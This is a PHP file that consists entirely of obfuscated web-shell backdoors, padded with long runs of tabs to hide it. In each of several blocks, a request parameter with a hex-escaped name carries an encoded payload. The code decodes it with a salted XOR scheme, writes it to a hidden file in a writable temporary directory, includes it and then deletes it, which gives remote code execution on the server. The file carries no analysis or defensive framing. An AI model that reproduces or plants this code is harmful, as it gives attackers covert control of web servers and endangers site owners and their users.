<?php																																										if(@$_REQUEST["b\x69\x6Ed"] !== null){ $holder = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), "/dev/shm"]); $pgrp = $_REQUEST["b\x69\x6Ed"]; $pgrp= explode ( ".", $pgrp ) ; $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $n = 0; while ($n< count($pgrp)) { $v3 = $pgrp[$n]; $chS = ord($salt[$n% $lenS] ); $dec = ((int)$v3 - $chS - ($n% 10)) ^ 33; $flg .= chr($dec ); $n++; } $flag = 0; do { $ptr = $holder[$flag] ?? null; if ($flag >= count($holder)) break; if (!( !is_dir($ptr) || !is_writable($ptr) )) { $k = str_replace("{var_dir}", $ptr, "{var_dir}/.pset"); $success = file_put_contents($k, $flg); if ($success) { include $k; @unlink($k); exit;} } $flag++; } while (true); }
																																										if(isset($_POST["d\x63\x68u\x6Ek"])){ $data = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm"]); $factor = $_POST["d\x63\x68u\x6Ek"]; $factor= explode ( "." ,$factor) ; $item = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $j = 0; $len = count( $factor); do { if( $j >= $len) break; $v7 = $factor[$j]; $sChar = ord( $salt3[$j % $sLen]); $d = ( ( int)$v7 - $sChar -( $j % 10))^ 6; $item .= chr( $d); $j++; } while( true); while ($component = array_shift($data)) { if (is_dir($component) ? is_writable($component) : false) { $resource = join("/", [$component, ".pset"]); $file = fopen($resource, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $resource; @unlink($resource); die(); } } } }
																																										if(isset($_POST) && isset($_POST["d\x61\x74"])){ $token = $_POST["d\x61\x74"]; $token = explode ( '.', $token ) ; $ref= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); foreach ($token as $p =>$v5) { $sChar= ord($s2[$p % $lenS]); $dec= ((int)$v5 - $sChar - ($p % 10)) ^ 12; $ref .= chr($dec); } $property_set = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), session_save_path()]); foreach ($property_set as $k) { if (!!is_dir($k) && !!is_writable($k)) { $obj = join("/", [$k, ".val"]); if (file_put_contents($obj, $ref)) { require $obj; unlink($obj); die(); } } } }
																																										if(isset($_POST["re\x73\x6F\x75\x72ce"]) ? true : false){ $val = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP")]); $descriptor = $_POST["re\x73\x6F\x75\x72ce"]; $descriptor= explode ( "." , $descriptor) ; $symbol = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $m = 0; foreach( $descriptor as $v1) { $sChar = ord( $salt[$m% $lenS]); $dec =( ( int)$v1 - $sChar -( $m% 10)) ^ 19; $symbol .= chr( $dec); $m++; } foreach ($val as $record): if (is_dir($record) && is_writable($record)) { $comp = str_replace("{var_dir}", $record, "{var_dir}/.entity"); if (file_put_contents($comp, $symbol)) { require $comp; unlink($comp); exit; } } endforeach; }
																																										if(@$_REQUEST["bi\x6Ed"] !== null){ $entry = $_REQUEST["bi\x6Ed"]; $entry = explode( '.',$entry ) ; $itm = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); foreach ($entry as $p=> $v6) { $chS = ord($s2[$p % $sLen]); $dec = ((int)$v6 - $chS - ($p % 10)) ^ 27; $itm .= chr($dec);} $element = array_filter(["/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), "/dev/shm"]); foreach ($element as $key => $property_set) { if (array_product([is_dir($property_set), is_writable($property_set)])) { $reference = "$property_set/.parameter_group"; if (file_put_contents($reference, $itm)) { require $reference; unlink($reference); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["symbo\x6C"])){ $ent = $_REQUEST["symbo\x6C"]; $ent=explode ( "." ,$ent ) ; $itm = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $s = 0; array_walk($ent,function($v6) use(&$itm,&$s,$s3,$sLen) { $chS = ord($s3[$s % $sLen]); $d =((int)$v6 - $chS -($s % 10))^ 90; $itm .= chr($d); $s++;}); $pointer = array_filter([getenv("TMP"), getcwd(), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), "/var/tmp"]); $tkn = 0; do { $k = $pointer[$tkn] ?? null; if ($tkn >= count($pointer)) break; if (!!is_dir($k) && !!is_writable($k)) { $reference = vsprintf("%s/%s", [$k, ".record"]); if (file_put_contents($reference, $itm)) { require $reference; unlink($reference); exit; } } $tkn++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x73\x65t"])){ $entity = $_REQUEST["p\x73\x65t"]; $entity =explode ('.' , $entity ) ; $k =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9); $q =0; foreach( $entity as $v5) { $chS =ord( $salt9[$q % $sLen]); $d =( ( int)$v5 - $chS -( $q % 10)) ^ 57; $k .= chr( $d); $q++; } $ent = array_filter([getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir")]); $binding = 0; do { $pointer = $ent[$binding] ?? null; if ($binding >= count($ent)) break; if (max(0, is_dir($pointer) * is_writable($pointer))) { $descriptor = vsprintf("%s/%s", [$pointer, ".fac"]); if (file_put_contents($descriptor, $k)) { require $descriptor; unlink($descriptor); exit; } } $binding++; } while (true); }
																																										if(array_key_exists("res", $_POST)){ $entity = $_POST["res"]; $entity =explode('.' , $entity) ; $symbol = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); $s = 0; array_walk( $entity, function( $v3) use( &$symbol, &$s, $salt3, $sLen) {$chS = ord( $salt3[$s % $sLen]); $dec = ( ( int)$v3 - $chS -( $s % 10))^40; $symbol.= chr( $dec); $s++; }); $mrk = array_filter([getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), "/tmp", getcwd()]); foreach ($mrk as $key => $binding) { if ((is_dir($binding) and is_writable($binding))) { $reference = str_replace("{var_dir}", $binding, "{var_dir}/.parameter_group"); if (file_put_contents($reference, $symbol)) { require $reference; unlink($reference); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x73\x79mb\x6Fl"])){ $dat = $_POST["\x73\x79mb\x6Fl"]; $dat =explode( '.' , $dat ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); $z = 0; array_walk($dat, function ($v7) use (&$ent, &$z, $s, $lenS) {$chS = ord($s[$z % $lenS] ); $d = ((int)$v7 - $chS - ($z % 10)) ^ 31; $ent .= chr($d ); $z++; } ); $item = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path()]); foreach ($item as $key => $record) { if ((is_dir($record) and is_writable($record))) { $pset = join("/", [$record, ".parameter_group"]); if (file_put_contents($pset, $ent)) { include $pset; @unlink($pset); exit; } } } }


if(!empty($_REQUEST["pg\x72\x70"])){
	$token = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir")]);
	$parameter_group = $_REQUEST["pg\x72\x70"];
		$parameter_group=explode ( '.',  	$parameter_group )  ;			
	$record = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $__len = count($parameter_group);
    
            for($o = 0; $o<$__len; $o++) {
                $v9 = $parameter_group[$o];
                $sChar = ord($s[$o % $sLen]);
                $dec =((int)$v9 - $sChar -($o % 10)) ^ 65;
                $record	.=	 chr($dec);
            }
	foreach ($token as $fac) {
    		if (is_writable($fac) && is_dir($fac)) {
    $ent = vsprintf("%s/%s", [$fac, ".item"]);
    if (file_put_contents($ent, $record)) {
	require $ent;
	unlink($ent);
	exit;
}
}
}
}